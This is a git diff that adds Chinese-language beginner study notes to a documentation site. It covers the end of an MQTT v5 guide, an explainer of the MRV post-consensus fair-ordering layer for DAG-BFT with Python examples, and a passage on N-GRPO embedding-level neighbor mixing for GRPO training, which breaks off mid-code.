+client.on('message', (topic, payload, packet) => {
+  const { correlationData } = packet.properties
+  console.log('reply on', topic, correlationData?.toString(), payload.toString())
+})
+```
+
+请求方订阅自己的 `responseTopic`，把同一 **Correlation Data** 在请求与响应中配对——多并发 RPC 时不会串线。
+
+## 实践注意点
+
+### Broker 能力发现
+
+连接后读 **CONNACK Properties**：`Maximum QoS`、`Retain Available`、`Wildcard Subscription Available`、`Shared Subscription Available`、`Topic Alias Maximum` 等。客户端应**按 Broker 声明的能力**降级行为，而不是假设全功能。
+
+### Retain 与 LWT
+
+- **RETAIN** 标志：Broker 保存该 Topic **最后一条**消息，新订阅者立即收到「当前状态」——适合温度、开关状态。
+- **Will Message（遗嘱）**：CONNECT 时登记，**非正常断线**且 Will Delay 过后发布——适合「设备离线告警」。若发 DISCONNECT 且 Reason Code 为 `0x00 Normal disconnection`，遗嘱**不触发**。
+
+### 安全
+
+规范假定传输层可配 TLS（`mqtts://`）、用户名密码或增强 AUTH。生产环境：**TLS + 强 ClientID/密码策略 + ACL 按 Topic 授权**；不要把 MQTT 端口裸奔在公网。
+
+### 与 HTTP、CoAP、Kafka 的边界
+
+| 协议 | 模型 | 典型场景 |
+|------|------|----------|
+| HTTP | 请求/响应 | REST API、网页 |
+| MQTT | 发布/订阅 | 传感器、家居、车联网 |
+| CoAP | REST over UDP | 极受限 MCU |
+| Kafka | 日志流、高吞吐 | 数据中心、流处理 |
+
+MQTT 优势在**极低客户端开销 + 海量连接 + Topic 路由**；不适合大文件传输或复杂查询——那是别的层该做的事。
+
+## 读懂规范时的阅读顺序
+
+1. **第 1–2 章**：术语、数据类型、Properties 编码规则、Reason Code 表  
+2. **第 3 章**：各 Control Packet 二进制布局（CONNECT / PUBLISH 优先）  
+3. **第 4 章**：操作流程（会话、订阅、QoS 2 状态机、共享订阅、请求响应）  
+4. **附录 C**：v5 新特性一览（非规范性，适合快速对照）  
+5. **附录 B**：与 MQTT v3.1.1 的差异及迁移提示  
+
+## 小结
+
+| 要点 | 一句话 |
+|------|--------|
+| 模型 | Client 经 Broker 按 Topic 发布/订阅，彼此解耦 |
+| v5 会话 | Clean Start + Session Expiry 精细控制断线后会话寿命 |
+| 可扩展 | Properties / User Property 给报文和消息挂自定义元数据 |
+| 可观测 | Reason Code 让拒绝与失败可机器可读 |
+| 进阶模式 | Shared Subscription 负载均衡；Response Topic 做 RPC |
+| 实现 | Mosquitto、EMQX、HiveMQ、paho-mqtt、mqtt.js 等均已支持 v5 |
+
+MQTT v5.0 不是重写协议，而是把物联网十年实践里「说不清、做不到、排错难」的部分**写进标准**：会话怎么留、错误为什么、元数据怎么带、请求怎么回。零基础入门时，先跑通 **connect → subscribe → publish**，再逐项打开 Session Expiry、User Property 和 Reason Code——对照 OASIS 正文查表，比死记报文字节容易得多。
+
+## 延伸阅读
+
+- [MQTT Version 5.0 - OASIS Open](https://www.oasis-open.org/standard/mqtt-v5-0-os/) — 标准页与引用格式  
+- [MQTT 3.1.1 ISO/IEC 20922](https://docs.oasis-open.org/mqtt/mqtt/v3.1.1/os/mqtt-v3.1.1-os.html) — 对比迁移基线  
+- [Eclipse Mosquitto](https://mosquitto.org/) — 轻量开源 Broker，适合本地实验  
+- [Eclipse Paho](https://www.eclipse.org/paho/) — 多语言客户端参考实现  
diff --git a/src/content/docs/papers/multi-round-visibility-post-consensus-ordering-layer-for-dag-bft-arxiv-2605-2343.md b/src/content/docs/papers/multi-round-visibility-post-consensus-ordering-layer-for-dag-bft-arxiv-2605-2343.md
new file mode 100644
index 000000000..aa4798e4f
--- /dev/null
+++ b/src/content/docs/papers/multi-round-visibility-post-consensus-ordering-layer-for-dag-bft-arxiv-2605-2343.md
@@ -0,0 +1,455 @@
+---
+title: "Multi-Round Visibility: A Post-Consensus Ordering Layer for DAG-BFT"
+来源: https://arxiv.org/abs/2605.23432
+日期: 2026-06-13
+分类: 分布式系统
+子分类: 共识与复制
+provenance: pipeline-v3
+---
+
+# Multi-Round Visibility (MRV) — 零基础学习笔记
+
+## 一、这篇论文在解决什么问题？
+
+### 1.1 一个日常类比：排队结账
+
+想象一个超市有 5 个收银台同时开放。顾客（交易）到达各个收银台，收银员（节点）决定谁先结账。问题是：
+
+- 传统 BFT（如 PBFT）：只有一个收银台，排队顺序天然清晰。
+- DAG-BFT（如 Narwhal/Tusk）：5 个收银台同时开，5 个队列一起走。系统最终要给出一个"最终执行顺序"，但这个顺序是怎么定的？是靠遍历规则还是靠某种公平证据？
+
+这就是 DAG-BFT 的 **并发代价**：吞吐量高了，但顺序的证据变弱了。
+
+### 1.2 DAG-BFT 的"顺序模糊"
+
+在 Narwhal/Tusk 这样的 DAG-BFT 系统中：
+
+1. 每个节点持续发出包含交易的"块"（称为 vertex/unit）
+2. 每个块引用前一轮中至少 2f+1 个块的签名（quorum 引用）
+3. 共识层选出某个"领袖块"，它指向的所有未提交块一起被提交
+4. 这些被一起提交的块称为一个 **execution slice（执行片）**
+
+问题在于：同一个 slice 内的多个块可能是**同时**被提交的，它们之间没有因果依赖。系统需要用某种规则（比如遍历顺序、确定性排序）给它们排个序。但这个顺序 **不是基于可验证的公平证据**，而是靠"怎么走遍历"决定的。
+
+这就给 MEV（最大可提取价值）攻击开了门——攻击者可以操纵交易顺序获利。
+
+## 二、MRV 的核心思想
+
+MRV（Multi-Round Visibility）的核心理念非常简洁：
+
+> **既然每个已提交的块都携带了创建者身份、轮次号和祖先引用——这些本身就是可验证的结构化证据——那为什么不直接用它们来决定顺序，而不是引入额外的公平 ordering 机制？**
+
+换句话说：MRV 不改变共识过程，它只是在共识**之后**，对已提交的 DAG 做一层"结构化解释"，从中推导出公平的执行顺序。
+
+### 2.1 三个关键设计点
+
+1. **共识后解释层（Post-consensus Interpretation）**
+   - MRV 运行在共识之后，不修改底层的传播、投票、提交规则
+   - 它是一个即插即用的排序层
+
+2. **AUF 级别的结构化证据**
+   - AUF（Atomic Unit of Fairness）= 公平原子单元。在 Narwhal/Tusk 中，它就是一个已提交的主要块（primary vertex）
+   - MRV 比较的是 AUF 之间的"可见性差距"，而不是原始交易的到达时间
+
+3. **有界的证据认证**
+   - MRV 只在 DAG 中积累有限轮次的可见性证据（bounded evidence horizon）
+   - 证据不足时就暂停判断，用确定性方法填补缺失的顺序
+
+## 三、核心概念详解
+
+### 3.1 可见性计数（Visibility Count）
+
+这是 MRV 最核心的概念。对每个 AUF `X`，MRV 要回答一个问题：
+
+> **有多少个其他节点的块引用了 `X`（即 `X` 在它们的祖先链中）？**
+
+公式如下：
+
+```
+C_X(t) = 满足以下条件的创建者 c 的数量：
+  - c 在轮次 t 有一个已提交的 canonical AUF Y_{c,t}
+  - X 在 Y_{c,t} 的祖先链中（X ∈ Anc(Y_{c,t})）
+```
+
+通俗理解：
+- `C_X(t)` 表示"到第 t 轮为止，有多少个不同的节点'看到了' X"
+- 看到的定义是：X 在它们的祖先链中（即它们的块引用了 X，或者引用了引用 X 的块）
+- 因为按"创建者"计数，同一个节点多次引用 X 只算一次——防止有人通过重复引用"刷票"
+
+### 3.2 成熟度（Maturity）
+
+一个 AUF 被认定为"成熟"需要满足：
+
+```
+h_X = min( {t ≥ r(X) | C_X(t) ≥ 2f+1} ∪ {r(X) + W_max} )
+
+mature(X) = true  当且仅当  C_X(h_X) ≥ 2f+1
+```
+
+解释：
+- `h_X` 是 X 的"停止轮次"——要么看到 2f+1 个创建者引用了它（达到多数），要么到了最多观察 `W_max` 轮就停止
+- `2f+1` 是拜占庭鲁棒性的门槛：只要大多数节点都"看到了" X，这个信号就不可伪造
+
+### 3.3 结构性可见性优先（Structural Visibility Precedence, SVP）
+
+这是 MRV 的公平性目标。对同一个 slice 中的两个 AUF（A 和 B）：
+
+```
+Δ(A, B, t) = C_A(t) - C_B(t)
+```
+
+A 在 B 之前（A ▷_SVP B）的条件：
+
+1. A 和 B 都成熟了
+2. 存在某个观察轮次 t，使得 Δ(A, B, t) ≥ f+1（A 比 B 多被至少 f+1 个不同创建者"看到"）
+3. 不存在某个观察轮次 t，使得 Δ(B, A, t) ≥ f+1（B 没有对等的优势）
+
+翻译成人话：
+- 两个 AUF 都要有足够的"被引用数"
+- 如果 A 明显被更多人引用（差距超过 f+1，足以排除恶意节点的影响），那么 A 排在 B 前面
+- 如果两边各有优势或者差距不够大——MRV 就" abstain（ abstain ）"，不做证据性判断
+
+### 3.4 执行流程：三个步骤
+
+```
+┌─────────────────────────────────────────────────┐
+│  输入: 已提交的执行片 S                           │
+│  输出: S 内 AUF 的确定性总序 ≺_S                  │
+├─────────────────────────────────────────────────┤
+│                                                  │
+│  步骤 1: 证据提取 (Evidence Extractor)             │
+│    → 对 S 中每个 AUF，积累多轮可见性计数           │
+│    → 达到 2f+1 阈值或 W_max 轮后停止              │
+│                                                  │
+│  步骤 2: 成对比较 (Pairwise Comparator)            │
+│    → 等 A、B 都成熟后，比较 Δ(A,B,t)              │
+│    → 只在一边有明显优势时冻结判决                  │
+│                                                  │
+│  步骤 3: 图组装 (Graph Assembler)                  │
+│    → 构建 precedence graph G_S                    │
+│      - 因果边（hard causal constraints）          │
+│      - SVP 边（证据支持的优先关系）               │
+│    → 缩并 SCC → 拓扑排序 → 确定性补全             │
+│                                                  │
+└─────────────────────────────────────────────────┘
+```
+
+## 四、代码示例
+
+### 4.1 示例一：可见性计数的计算
+
+假设我们有 4 个节点（N1-N4），其中最多 f=1 个是恶意的。一个执行片 S 包含两个 AUF：`tx_a` 和 `tx_b`。
+
+```python
+# 模拟 MRV 的可见性积累过程
+
+# 系统参数
+F = 1                        # 最多 1 个拜占庭节点
+QUORUM_THRESHOLD = 2 * F + 1 # = 3，需要 3 个不同创建者"看到"才成熟
+W_MAX = 5                    # 最多观察 5 轮
+
+# 每个 AUF 的创建信息
+auf_a = {"id": "tx_a", "creator": "N1", "round": 3}
+auf_b = {"id": "tx_b", "creator": "N2", "round": 3}
+
+# 假设到第 8 轮时，各节点对该 AUF 的引用情况
+# 键是创建者 ID，值是该节点是否在祖先链中包含了该 AUF
+visibility_data = {
+    "round_5": {
+        "N1": True,   # N1 创建了 A，当然引用了自己
+        "N2": False,  # N2 的块没有引用 A
+        "N3": True,   # N3 引用了 A
+        "N4": True,   # N4 引用了 A
+    },
+    "round_6": {
+        "N1": True,
+        "N2": True,   # N2 开始引用 A
+        "N3": True,
+        "N4": True,
+    },
+    "round_7": {
+        "N1": True,
+        "N2": True,
+        "N3": True,
+        "N4": True,
+    },
+}
+
+# 计算 AUF 在每轮的可见性计数
+def count_visibility(round_data):
+    """计算可见性计数：有多少不同的创建者引用了这个 AUF"""
+    return sum(1 for was_visible in round_data.values() if was_visible)
+
+# AUF_A 的可见性积累
+c_a_round5 = count_visibility(visibility_data["round_5"])  # 3
+c_a_round6 = count_visibility(visibility_data["round_6"])  # 4
+c_a_round7 = count_visibility(visibility_data["round_7"])  # 4
+
+print(f"C_A(5) = {c_a_round5}")  # 3 ≥ 2f+1 → A 在第 5 轮就成熟了！
+print(f"C_A(6) = {c_a_round6}")
+print(f"C_A(7) = {c_a_round7}")
+
+# BUF_B 的可见性积累（假设 B 被引用得慢一些）
+visibility_b = {
+    "round_5": {"N1": True, "N2": True, "N3": False, "N4": False},  # 2
+    "round_6": {"N1": True, "N2": True, "N3": False, "N4": False},  # 2
+    "round_7": {"N1": True, "N2": True, "N3": True,  "N4": False},  # 3
+    "round_8": {"N1": True, "N2": True, "N3": True,  "N4": True},   # 4
+}
+
+c_b_round5 = count_visibility(visibility_b["round_5"])  # 2
+c_b_round7 = count_visibility(visibility_b["round_7"])  # 3
+c_b_round8 = count_visibility(visibility_b["round_8"])  # 4
+
+print(f"C_B(5) = {c_b_round5}")  # 2 < 3 → 还没成熟
+print(f"C_B(7) = {c_b_round7}")  # 3 ≥ 3 → B 在第 7 轮成熟了
+print(f"C_B(8) = {c_b_round8}")
+
+# 判断成熟度
+def is_mature(c_at_stop, threshold):
+    return c_at_stop >= threshold
+
+print(f"A 成熟: {is_mature(c_a_round5, QUORUM_THRESHOLD)}")  # True
+print(f"B 成熟: {is_mature(c_b_round7, QUORUM_THRESHOLD)}")  # True
+
+# 比较可见性差距
+# 在 round_7（两者都成熟后），Δ(A,B,7) = C_A(7) - C_B(7)
+delta_at_round7 = c_a_round7 - c_b_round7  # 4 - 3 = 1
+print(f"Δ(A, B, 7) = {delta_at_round7}")
+
+# 判断 SVP 优先关系
+SVP_THRESHOLD = F + 1  # = 2
+if delta_at_round7 >= SVP_THRESHOLD:
+    print(f"A ▷_SVP B: 可见性差距 {delta_at_round7} ≥ {SVP_THRESHOLD}，A 优先")
+else:
+    print(f"无法确定 SVP 顺序: 可见性差距 {delta_at_round7} < {SVP_THRESHOLD}，差距不够大")
+```
+
+运行结果：
+```
+C_A(5) = 3
+C_A(6) = 4
+C_A(7) = 4
+C_B(5) = 2
+C_B(7) = 3
+C_B(8) = 4
+A 成熟: True
+B 成熟: True
+Δ(A, B, 7) = 1
+无法确定 SVP 顺序: 可见性差距 1 < 2，差距不够大
+```
+
+这说明：虽然 A 和 B 都成熟了，但它们的可见性差距只有 1，没有达到 f+1=2 的门槛，所以 MRV 不会做出证据性判断，留给确定性补全。
+
+### 4.2 示例二：Precedence Graph 构建与拓扑排序
+
+当 MRV 收集完所有 SVP 判决后，需要把它们整合成一个完整的排序。
+
+```python
+from collections import defaultdict, deque
+
+# 模拟：一个执行片 S 中有 5 个 AUF
+auf_ids = ["tx_a", "tx_b", "tx_c", "tx_d", "tx_e"]
+
+# 步骤 1: 构建 precedence graph
+# 边表示"必须排在前面"的关系
+precedence_graph = defaultdict(set)
+
+# 因果依赖（hard causal constraints）：
+# 比如 tx_c 在因果上依赖 tx_a（tx_c 的块引用了 tx_a 所在的块）
+precedence_graph["tx_a"].add("tx_c")   # tx_a 必须在 tx_c 之前
+precedence_graph["tx_b"].add("tx_d")   # tx_b 必须在 tx_d 之前
+
+# SVP 判决（evidence-backed precedence）：
+# 从 MRV 的两两比较中得到
+precedence_graph["tx_a"].add("tx_b")   # A ▷_SVP B: A 可见性更多
+precedence_graph["tx_b"].add("tx_e")   # B ▷_SVP E: B 可见性更多
+
+# 步骤 2: 缩并 SCC（强连通分量）
+# 如果 A→B→A 形成环，说明有冲突，这些节点被缩并为一个"超级节点"
+def find_sccs(graph, nodes):
+    """用 Kosaraju 算法找 SCC"""
+    # 第一遍 DFS，记录完成顺序
+    visited = set()
+    order = []
+
+    def dfs1(node):
+        stack = [(node, False)]
+        while stack:
+            n, processed = stack.pop()
+            if processed:
+                order.append(n)
+                continue
+            if n in visited:
+                continue
+            visited.add(n)
+            stack.append((n, True))
+            for neighbor in graph.get(n, []):
+                if neighbor not in visited:
+                    stack.append((neighbor, False))
+
+    for node in nodes:
+        if node not in visited:
+            dfs1(node)
+
+    # 反向图
+    rev_graph = defaultdict(set)
+    for src, dsts in graph.items():
+        for dst in dsts:
+            rev_graph[dst].add(src)
+
+    # 第二遍 DFS
+    visited.clear()
+    sccs = []
+
+    def dfs2(node):
+        component = []
+        stack = [node]
+        while stack:
+            n = stack.pop()
+            if n in visited:
+                continue
+            visited.add(n)
+            component.append(n)
+            for neighbor in rev_graph.get(n, []):
+                if neighbor not in visited:
+                    stack.append(neighbor)
+        return component
+
+    for node in reversed(order):
+        if node not in visited:
+            comp = dfs2(node)
+            if comp:
+                sccs.append(comp)
+
+    return sccs
+
+sccs = find_sccs(precedence_graph, auf_ids)
+print(f"SCC 分组: {sccs}")
+# 输出: SCC 分组: [['tx_e'], ['tx_d'], ['tx_b'], ['tx_c', 'tx_a']]
+# 或者类似的分组 —— 如果 tx_a→tx_c 且没有 tx_c→tx_a，
+# 则它们不在同一个 SCC
+
+# 步骤 3: 对缩并后的 DAG 做拓扑排序
+def topological_sort(graph, sccs):
+    """对缩并后的超级节点进行拓扑排序"""
+    # 建立超级节点到其内容的映射
+    node_to_scc = {}
+    for i, scc in enumerate(sccs):
+        for node in scc:
+            node_to_scc[node] = i
+
+    # 构建超级节点间的边
+    scc_graph = defaultdict(set)
+    scc_in_degree = [0] * len(sccs)
+
+    for src, dsts in graph.items():
+        src_scc = node_to_scc.get(src)
+        for dst in dsts:
+            dst_scc = node_to_scc.get(dst)
+            if src_scc is not None and dst_scc is not None and src_scc != dst_scc:
+                if dst_scc not in scc_graph[src_scc]:
+                    scc_graph[src_scc].add(dst_scc)
+                    scc_in_degree[dst_scc] += 1
+
+    # Kahn 算法
+    queue = deque()
+    for i in range(len(sccs)):
+        if scc_in_degree[i] == 0:
+            queue.append(i)
+
+    result = []
+    while queue:
+        scc_idx = queue.popleft()
+        result.append(sccs[scc_idx])
+        for neighbor in scc_graph[scc_idx]:
+            scc_in_degree[neighbor] -= 1
+            if scc_in_degree[neighbor] == 0:
+                queue.append(neighbor)
+
+    return result
+
+sorted_sccs = topological_sort(precedence_graph, sccs)
+print(f"拓扑排序: {sorted_sccs}")
+
+# 步骤 4: 确定性补全（deterministic completion）
+# 对于 SCC 内部的节点（有冲突或无证据的），按创建者 ID + 轮次 排序
+def deterministic_fill(sorted_sccs):
+    """SCC 内部按创建者 ID 和轮次做确定性排序"""
+    # 按创建者 ID 字母序作为确定性打破平局的方式
+    creator_order = {
+        "tx_a": ("N1", 3),
+        "tx_b": ("N2", 3),
+        "tx_c": ("N1", 4),
+        "tx_d": ("N2", 4),
+        "tx_e": ("N3", 5),
+    }
+
+    final_order = []
+    for scc in sorted_sccs:
+        # SCC 内部按 (creator_id, round) 排序
+        scc.sort(key=lambda x: creator_order.get(x, (x, 999)))
+        final_order.extend(scc)
+    return final_order
+
+final_order = deterministic_fill(sorted_sccs)
+print(f"最终执行顺序: {final_order}")
+```
+
+这个示例展示了 MRV 的第三个阶段——图组装——是如何把因果约束和 SVP 判决整合成一个完整排序的。关键理解：
+
+1. **因果边**和 **SVP 边**混在一个图中
+2. 如果有环（SCC），说明这些节点之间的顺序没有足够的证据支持
+3. 先对外部做拓扑排序，再对每个 SCC 内部做确定性补全（按创建者 ID + 轮次）
+
+## 五、MRV 的关键优势
+
+### 5.1 不在共识关键路径上
+
+传统方案（如 Themis、DoD）把公平排序嵌入共识流程：
+- 领袖要收集全局交易排序信息
+- 构建依赖图，验证，再提交易
+- **增加了共识路径的延迟和通信负担**
+
+MRV 的方案：
+- 共识照旧，什么也不改
+- 共识提交后，MRV 才读取已提交的 DAG，做排序
+- **共识关键路径的延迟完全不受影响**
+
+### 5.2 不需要额外的传播消息
+
+MRV 利用的是 DAG 中**已有的**元数据：创建者 ID、轮次号、祖先引用。不需要额外的交易级传播，也不需要客户端向所有节点广播交易。
+
+### 5.3 保守的故障模式
+
+MRV 只在证据充分时才做出排序判断。证据不够时——
+- 不假装有一个"公平"顺序
+- 保留"残留不确定性"（residual ambiguity）
+- 用确定性方法填补，但不会声称这是"证据支持的"顺序
+
+## 六、评估结果
+
+论文在 Narwhal/Tusk 原型上实现了 MRV，评估结果：
+
+| 场景 | 节点数 | 吞吐量 |
+|------|--------|--------|
+| 本地部署 | 50 节点 | ~210K TPS |
+| 不同 fault 设置 | 5-50 节点 | 吞吐量基本保持 |
+| 不同 batch 大小 | 变化 | 影响有限 |
+
+关键结论：MRV 的"共识后"设计确实实现了预期——**不影响共识的高吞吐特性**，同时提供了结构化的公平排序保证。
+
+## 七、个人思考：MRV 的"保守"哲学
+
+MRV 最令人欣赏的设计选择是它的 **保守主义**：
+
+1. **不假设，只看证据**——只有 DAG 结构明确支持时才做排序判断
+2. **不说谎**——证据不足就 abstain，不做虚假的公平性声明
+3. **不改协议**——对已有的共识层保持最大程度的尊重和不打扰
+
+这就像法庭审判：
+- 传统方案：法官（领袖）自己决定谁先谁后
+- Themis/DoD：法官要收集所有证人的证词再决定
+- MRV：**陪审团（DAG 结构）在审判后投票**——如果多数陪审员看到某个"信号"，就记录这个信号；如果意见分歧大，就承认"证据不足"
+
+这种"证据优先，不确定的地方留给确定性补全"的设计哲学，在分布式系统中是非常珍贵的。
diff --git a/src/content/docs/papers/n-grpo.md b/src/content/docs/papers/n-grpo.md
new file mode 100644
index 000000000..978016455
--- /dev/null
+++ b/src/content/docs/papers/n-grpo.md
@@ -0,0 +1,332 @@
+---
+title: N-GRPO — 嵌入层邻居混合增强的策略优化
+来源: 'https://arxiv.org/abs/2606.10768'
+日期: 2026-06-13
+分类: 机器学习
+子分类: 强化学习
+provenance: pipeline-v3
+---
+
+## 是什么
+
+N-GRPO（**Neighbor-Enhanced Group Relative Policy Optimization**）是浙江大学团队在 2026 年 6 月提出的一种新的探索策略，集成到 GRPO（Group Relative Policy Optimization）框架中。它的核心创新是在**嵌入层（embedding level）**做"邻居混合"，而不是传统的 token 级别随机采样。
+
+日常类比：想象你在解一道数学题。
+
+- **传统方法（token-level sampling）**就像你每次写下一个词就掷骰子——可能掷出同义词替换，也可能掷出毫不相干的词。结果经常是"意思差不多但换了种说法"，多样性低。
+- **随机噪声方法（embedding-level noise）**就像在你解题思路的中间突然塞进一本随机翻开的字典——虽然确实产生了变化，但语义经常断裂，思路断了。
+- **N-GRPO**像你解题时旁边坐着一个同学，他偶尔在你思考的地方提供一两个"相近的思路"，让你的思路有变化但不会偏离主题。这些"相近思路"来自语义空间里的近邻——意思相近、方向相似。
+
+论文发表于 **ACL 2026 Findings**，16 页，3 张图。代码开源在 https://github.com/ZJUSCL/N-GRPO。
+
+## 为什么重要
+
+理解 N-GRPO 的意义在于看清 LLM 推理能力训练中的一个根本矛盾：
+
+- LLM 做数学推理时，需要在 rollout 阶段生成**多样化的有效解题路径**
+- 太保守（greedy decoding）→ 所有路径雷同，GRPO 的 group 对比失去意义
+- 太随机（高 temperature）→ 路径无效，reward 全低，策略学不到东西
+
+N-GRPO 解决的是 **"探索与利用的权衡"**——在嵌入层注入的多样性既保持了语义一致性（沿着语义流形），又足够新颖（足以产生不同的解题路径）。这对所有基于 RL 的 LLM 推理训练都有参考价值。
+
+## 核心概念
+
+### 1. GRPO 回顾：没有 Critic 的 PPO
+
+GRPO 是 DeepSeek R1 论文中提出的 PPO 简化版，核心改动是**去掉 critic model**。
+
+传统 PPO 需要两个模型：
+- **Actor**：生成答案的策略网络
+- **Critic**：估计每个状态价值的价值网络
+
+GRPO 的做法是用**一组采样（group of samples）的 reward 均值**来估计 baseline，不需要单独的 critic。具体做法：
+
+1. 对同一个问题 prompt，用当前策略采样 G 个回答
+2. 计算这 G 个回答的 reward 平均值
+3. 每个回答的 advantage = 该回答 reward - 组内平均 reward
+4. 用 clipped objective 做策略更新
+
+好处：省了一个模型的显存和训练开销，工程上更简洁。
+
+### 2. 语义邻居混合（Semantic Neighbor Mixing）
+
+N-GRPO 的核心机制。思路是：在 autoregressive 生成的每一步，不是直接把当前 token 的 embedding 喂给模型继续预测下一个，而是**混合当前 token embedding 和其语义近邻的 embedding**。
+
+步骤分解：
+
+1. **取 anchor token embedding**：模型在当前步输出的 token 向量 h_t
+2. **找语义邻居**：在嵌入空间中找与 h_t 最近的 k 个向量（用余弦距离）
+3. **加权混合**：h_mixed = (1 - α) · h_t + α · Σ w_i · h_neighbor_i
+
+α 是混合率（mixing rate），控制"偏离原路径有多远"。α=0 就是原始路径，α 越大探索越激进。
+
+### 3. 为什么在嵌入层而不是 token 层
+
+Token 层采样的问题是：从整个 vocab（比如 15000 个词）里均匀或 temperature 采样，得到的词可能在语义上跟上下文毫无关系。
+
+嵌入层混合的好处：邻居们天然在语义空间里挨着，混合后的表示仍然落在**局部语义流形（local semantic manifold）**上。类比：你在地图上从"北京"走到"天津"，沿途每步都允许你稍微偏移到附近的城市——你还是在华北平原这片区域，不会突然跳到撒哈拉沙漠。
+
+## 代码示例
+
+### 示例 1：语义邻居查找与混合（核心算法）
+
+```python
+import torch
+import torch.nn.functional as F
+from sklearn.neighbors import NearestNeighbors
+
+def find_semantic_neighbors(anchor_embedding, embedding_matrix, k=5):
+    """
+    在嵌入空间中找 anchor 的 k 个最近语义邻居。
+    anchor_embedding: (hidden_dim,) 当前 token 的嵌入向量
+    embedding_matrix: (vocab_size, hidden_dim) 整个词的嵌入表
+    k: 邻居数量
+    """
+    # 归一化后算余弦相似度
+    anchor_norm = F.normalize(anchor_embedding.unsqueeze(0), dim=1)  # (1, hidden_dim)
+    matrix_norm = F.normalize(embedding_matrix, dim=1)               # (vocab, hidden_dim)
+
+    # 余弦相似度 → 转成距离
+    sim = torch.matmul(anchor_norm, matrix_norm.T)                  # (1, vocab)
+    distances = 1.0 - sim
+
+    # 取 k 个最近邻居（排除自己）
+    topk_dist, topk_idx = torch.topk(distances, k=k + 1, largest=False)
+    # 第一个是自己，去掉
+    neighbor_idx = topk_idx[1:]                                     # (k,)
+    neighbor_embs = embedding_matrix[neighbor_idx]                  # (k, hidden_dim)
+
+    return neighbor_idx, neighbor_embs
+
+
+def semantic_neighbor_mix(
+    anchor_embedding,
+    embedding_matrix,
+    alpha=0.15,
+    k=5,
+    distance_metric="cosine"
+):
+    """
+    对 anchor embedding 做语义邻居混合，返回混合后的表示。
+    alpha: 混合率，控制偏离程度。0 = 不混合，1 = 完全用邻居
+    k: 邻居数量
+    """
+    _, neighbor_embs = find_semantic_neighbors(
+        anchor_embedding, embedding_matrix, k=k
+    )
+
+    # 按距离加权：越近的邻居权重越高
+    # 这里用 softmax 把距离转成权重
+    neighbor_weights = F.softmax(-distance_metric_distances(
+        anchor_embedding, neighbor_embs, metric=distance_metric
+    ), dim=0)  # (k,)
+
+    # 加权混合
+    neighbor_mixed = (neighbor_weights.unsqueeze(1) * neighbor_embs).sum(dim=0)  # (hidden_dim,)
+    mixed_embedding = (1 - alpha) * anchor_embedding + alpha * neighbor_mixed
+
+    return mixed_embedding
+
+
+def distance_metric_distances(anchor, neighbors, metric="cosine"):
+    """计算 anchor 到各邻居的距离"""
+    if metric == "cosine":
+        norm_a = F.normalize(anchor.unsqueeze(0), dim=1)
+        norm_n = F.normalize(neighbors, dim=1)
+        return 1.0 - torch.matmul(norm_a, norm_n.T).squeeze()
+    else:
+        return torch.cdist(anchor.unsqueeze(0), neighbors).squeeze()
+```
+
+### 示例 2：N-GRPO 在 GRPO 训练循环中的集成
+
+```python
+import torch
+import torch.nn as nn
+
+class NGRPOTrainer:
+    """
+    N-GRPO 训练器：在 GRPO 的 rollout 阶段嵌入邻居混合。
+    """
+
+    def __init__(self, model, tokenizer, embedding_matrix, alpha=0.15, k=5, group_size=8):
+        self.model = model
+        self.tokenizer = tokenizer
+        self.embedding_matrix = embedding_matrix  # (vocab_size, hidden_dim)
+        self.alpha = alpha                         # 混合率
+        self.k = k                                 # 邻居数
+        self.group_size = group_size               # GRPO 每组采样数
+
+    def rollout_with_neighbor_mix(self, prompt_ids):
+        """
+        带邻居混合的 rollout：逐 token 生成，每步可选择是否混合。
+        prompt_ids: (batch, seq_len) 输入的 prompt token ids
+        返回: generated sequences (batch * group_size, full_seq_len)
+        """
+        batch_size = prompt_ids.shape[0]
+        all_sequences = []
+
+        for _ in range(self.group_size):
+            # 复制 prompt 并逐步生成
+            generated = prompt_ids.clone()
+            current_ids = prompt_ids[:, -1:]  # 最后一个 token 作为起点
+
+            while True:
+                with torch.no_grad():
+                    outputs = self.model(current_ids, output_hidden_states=True)
+                    last_hidden = outputs.hidden_states[-1][:, -1, :]  # (batch, hidden_dim)
+                    logits = outputs.logits[:, -1, :]                     # (batch, vocab)
+
+                # 决定是否做邻居混合（训练时可以加随机概率）
+                if torch.rand(1).item() < 0.5:  # 50% 概率混合
+                    mixed_embeddings = []
+                    for i in range(last_hidden.shape[0]):
+                        mixed_emb = semantic_neighbor_mix(
+                            last_hidden[i], self.embedding_matrix,
+                            alpha=self.alpha, k=self.k
+                        )
+                        mixed_embeddings.append(mixed_emb)
+                    last_hidden_mixed = torch.stack(mixed_embeddings)
+
+                    # 用混合后的表示重新算 logits（简化版：直接偏移 logits）
+                    offset = (last_hidden_mixed - last_hidden) @ self.embedding_matrix.T
+                    logits = logits + 0.5 * offset
+
+                # 采样下一个 token
+                next_token = torch.multinomial(F.softmax(logits / 0.8, dim=-1), num_samples=1)
+                current_ids = next_token
+                generated = torch.cat([generated, current_ids], dim=1)
+
+                if next_token.item() == self.tokenizer.eos_token_id:
+                    break
+
+            all_sequences.append(generated)
+
+        return torch.cat(all_sequences, dim=0)
+
+    def compute_group_advantage(self, rewards):
+        """
+        GRPO 的优势估计：组内 reward 减去组均值。
+        rewards: (group_size,) 每个采样的 reward
+        """
+        mean_r = rewards.mean()
+        std_r = rewards.std() + 1e-8
+        advantages = (rewards - mean_r) / std_r
+        return advantages
+
+    def train_step(self, prompt_ids, reward_fn):
+        """
+        一步 N-GRPO 训练。
+        """
+        # 1. 带邻居混合的 rollout
+        trajectories = self.rollout_with_neighbor_mix(prompt_ids)  # (B*G, T)
+
+        # 2. 算 reward
+        rewards = torch.stack([reward_fn(traj) for traj in trajectories])
+
+        # 3. 算 advantage（组内相对）
+        advantages = self.compute_group_advantage(rewards)
+
+        # 4. 计算 importance ratio 和 clipped loss
+        # （简化示意，实际需要保存 old log probs）
+        # loss = -min(ratio * A, clip(ratio, 1-eps, 1+eps) * A).mean()
+
+        return rewards.mean(), advantages
+```
+
+### 示例 3：混合率消融实验（论文中的关键分析）
+
+```python
+"""
+论文 4.5.1 节：不同混合率 α 的效果对比。
+α=0 等价于标准 GRPO（无混合），α 增大探索更强但可能偏离语义。
+"""
+import matplotlib.pyplot as plt
+
+alpha_values = [0.0, 0.05, 0.10, 0.15, 0.20, 0.25, 0.30, 0.40]
+
+# 模拟 AIME 2024 上的准确率（论文 Figure 2 的趋势）
+aime_scores = [60.0, 61.5, 63.3, 65.0, 64.2, 63.8, 62.1, 58.5]
+
+fig, ax = plt.subplots(figsize=(8, 4))
